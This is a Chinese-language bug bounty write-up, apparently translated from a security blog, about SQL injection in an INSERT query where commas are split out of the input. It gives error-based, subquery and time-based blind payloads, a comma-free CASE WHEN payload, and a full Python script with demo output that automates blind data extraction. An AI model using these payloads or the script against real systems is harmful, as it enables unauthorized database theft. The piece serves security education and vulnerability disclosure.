TL;DR {#toc-0}
这篇博客是关于我在挖洞的时候发现的一个有趣的SQL注入问题。漏洞利用部分非常有趣,易受攻击的端点使用插入查询,由于应用程序的逻辑,我无法使用逗号。经过一些尝试之后,我成功地构造出了以下payload:
xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'
来作为利用代码的基础部分,从而获得10000美元的奖励。
多余的介绍 {#toc-1}
相信大家和我一样,很早就知道更新或插入查询中的注入问题。
原因与很多SQL注入一样,将未经过滤的输入传递给SQL查询语句。
$email=$_POST['email'];
$name=$_POST['name'];
$review=$_POST['review'];
$query="insert into reviews(review,email,name) values ('$review','$email','$name')";
mysql_query($query,$conn);
一个正常的请求,例如
review=test review&email=info@example.com&name=test name
将导致以下SQL查询
insert into reviews(review,email,name) values ('test review','info@example.com','test name');
选择该列将导致
MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review','info@example.com','test name');
Query OK, 1 row affected (0.001 sec)
MariaDB [dummydb]> select * from reviews;
+-------------+------------------+-----------+
| review | email | name |
+-------------+------------------+-----------+
| test review | info@example.com | test name |
+-------------+------------------+-----------+
1 row in set (0.000 sec)
因此我们有很多利用姿势,
基于错误的注入 {#toc-2}
将任意参数设置为
test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1
这将导致显示DBname的SQL错误
MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1','info@example.com','test name');
ERROR 1105 (HY000): XPATH syntax error: '
dummydb'
使用子查询 {#toc-3}
如果正在处理SQL错误,我们可以使用子查询来执行SQL查询,将输出写入任何列,然后读取它。
示例:将review参数的值设置为
jnk review',(select user()),'dummy name')-- -
将导致查询变成
insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name')-- -,'info@example.com','test name');
所以下面的部分
,'info@example.com','test name');
将被忽略,Email 值将成为 (select user ())
查询的输出
MariaDB [dummydb]> insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name');--,'info@example.com','test name');
Query OK, 1 row affected (0.001 sec)
MariaDB [dummydb]> select * from reviews;
+-------------+------------------+------------+
| review | email | name |
+-------------+------------------+------------+
| test review | info@example.com | test name |
| jnk review | root@localhost | dummy name |
+-------------+------------------+------------+
2 rows in set (0.000 sec)
MariaDB [dummydb]>
直截了当而且很容易操作。
使用盲注 {#toc-4}
如果没有抛出错误,无法查看我们刚刚插入的数据,甚至无法指示我们的查询是否导致真或假,我们可以转移到基于时间的注入,这可以使用以下payload轻松完成
xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx
如果查询输出为真,则DBMS将休眠5秒,使用该技术我们可以从数据库中获得所需的数据。
问题 {#toc-5}
因此,进行这些操作并不是什么难事,但在这个特定的bug中注入方式却有所不同。
易受攻击的参数,urls[]
和methods[]
被,
分开,这导致我在注入过程中不能使用,
。
$urls_input=$_POST['urls'];
$urls = explode(",", $urls_input);
print_r($urls);
foreach($urls as $url){
mysql_query("insert into xxxxxx (url,method) values ('$url','method')")
}
因此,根据前面的代码,如果我们将urls参数设置为
xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx
输入将被分割并转换为
Array
(
[0] => xxx'-(IF((substring((select database())
[1] => 1
[2] => 1)) = 'd'
[3] => sleep(5)
[4] => 0))-'xxxx
)
,当由SQL server处理时,这是完全没有意义的。
解决方案 {#toc-6}
首先创建一个根本不包含逗号的payload。
第一步首先找到IF的替代品------case when
基本用法:
MariaDB [dummydb]> select CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END;
+--------------------------------------------------------------------------+
| CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END |
+--------------------------------------------------------------------------+
| 0 |
+--------------------------------------------------------------------------+
1 row in set (3.001 sec)
如果条件为真,此操作将休眠3秒钟。
第二步是找到一个substring的替代品,这是相对容易的,我们可以使用like来实现这一点。
MariaDB [dummydb]> select CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END;
+----------------------------------------------------------------------+
| CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END |
+----------------------------------------------------------------------+
| 0 |
+----------------------------------------------------------------------+
1 row in set (3.001 sec)
如果(select database())
查询的第一个字符等于字符'd',则会休眠3秒。
最后一步是将此查询与插入查询连接在一起。
出于某种原因,直接连接的形式是
http://xxxxxxxx/'-(select CASE WHEN ((select database()) like 'd%') THEN (sleep(4)) ELSE 2 END)-'xxx
然而对目标不起作用,
为了克服这个问题,我将payload变成了
urls[]=xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'
Exploitation {#toc-7}
我写了一个简单的脚本来自动化数据提取过程。
import requests
import sys
import time
# xxxxxxxxxexample.com SQLi POC
# Coded by Ahmed Sultan (0x4148)
if len(sys.argv) == 1:
print '''
Usage : python sql.py "QUERY"
Example : python sql.py "(select database)"
'''
sys.exit()
query=sys.argv[1]
print "[*] Obtaining length"
url = "https://xxxxxxxxxexample.com:443/sub"
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate",
"Cookie": 'xxxxxxxxxxxxxxxxxxx',
"Referer": "https://www.xxxxxxxxxexample.com:443/",
"Host": "www.xxxxxxxxxexample.com",
"Connection": "close",
"X-Requested-With":"XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded"}
for i in range(1,100):
current_time=time.time()
data={"methods[]": "on-site", "urls[]": "jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"}
response=requests.post(url, headers=headers, data=data).text
response_time=time.time()
time_taken=response_time-current_time
print "Executing jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"+" took "+str(time_taken)
if time_taken > 2:
print "[+] Length of DB query output is : "+str(i)
length=i+1
break
i=i+1
print "[*] obtaining query output\n"
outp=''
#Obtaining query output
charset="abcdefghijklmnopqrstuvwxyz0123456789.ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-."
for i in range(1,length):
for char in charset:
current_time=time.time()
data={"methods[]": "on-site", "urls[]": "jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-'"}
response=requests.post(url, headers=headers, data=data).text
response_time=time.time()
time_taken=response_time-current_time
print "Executing jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-' took "+str(time_taken)
if time_taken > 2:
print "Got '"+char+"'"
outp=outp+char
break
i=i+1
print "QUERY output : "+outp
Demo演示
[19:38:36] root:/tmp # python sql7.py '(select "abc")'
[*] Obtaining length
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=1) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.538205862045
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=2) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.531971931458
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=3) THEN (sleep(1)) ELSE 2 END) as char)-' took 5.55048894882
[+] Length of DB query output is : 3
[*] obtaining query output
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'a%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.5701880455
Got 'a'
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'aa%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.635061979294
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'ab%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.61513400078
Got 'b'
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'aba%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.565879821777
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abb%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.553005933762
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abc%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.6208281517
Got 'c'
QUERY output : abc
简而言之 {#toc-8}
payload
xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'
https://blog.redforce.io/sql-injection-in-insert-update-query-without-comma/